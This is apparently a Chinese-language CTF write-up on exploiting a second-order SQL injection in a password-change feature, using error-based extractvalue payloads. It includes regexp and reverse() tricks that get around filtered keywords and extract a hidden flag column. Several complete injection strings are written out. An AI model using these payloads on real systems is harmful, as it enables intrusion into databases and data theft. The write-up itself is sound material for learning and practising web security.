- 二次注入
- 报错注入
启动:
先注册一个用户
在注册的时候,fuzz测试发现在username和email中过滤了以下字符
@
or
and
space(空格)
substr
mid
left
right
handle
没有源码慢慢测试.......
输入分号没有报错
先注册完
登录之后发现可以更改密码
尝试是否能注入
继续测试发现无果
翻了翻以前刷过的sql-lab
在注册时用户名加些测试字符进去,'mochu7"
发现是二次注入
二次注入讲解
最终发现输入mochu"\ 在改密码的时候报错
说明是双引号包裹
由于改密码的地方修改密码后触发导致错误输出,有错误回显就可以使用报错注入,根据之前fuzz的过滤
可以考虑xpath注入
1"||extractvalue(1,concat(0x7e,(select(database()))))%23
查库
查表
1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))%23
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23
一个假的flag
查user表但是他过滤了mid,substr,left,right
因此不能查到完整的表
由此可以用正则匹配
正则匹配详解
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#
regexp(’^r’)是MySql的正则,^r匹配开头是r的字段,也就是column_name=real_flag_1s_her
需要注意的是在bp上传因为他过滤and的原因我们只能用&&,bp会把当成传入多个post值,从而登录出现错误,本人对bp不太熟,用的hackbar传然后查flag
1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#
本来想查86后面的字符,发现行不通
又是一个新函数
reverse
倒转输出
1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
写个脚本处理下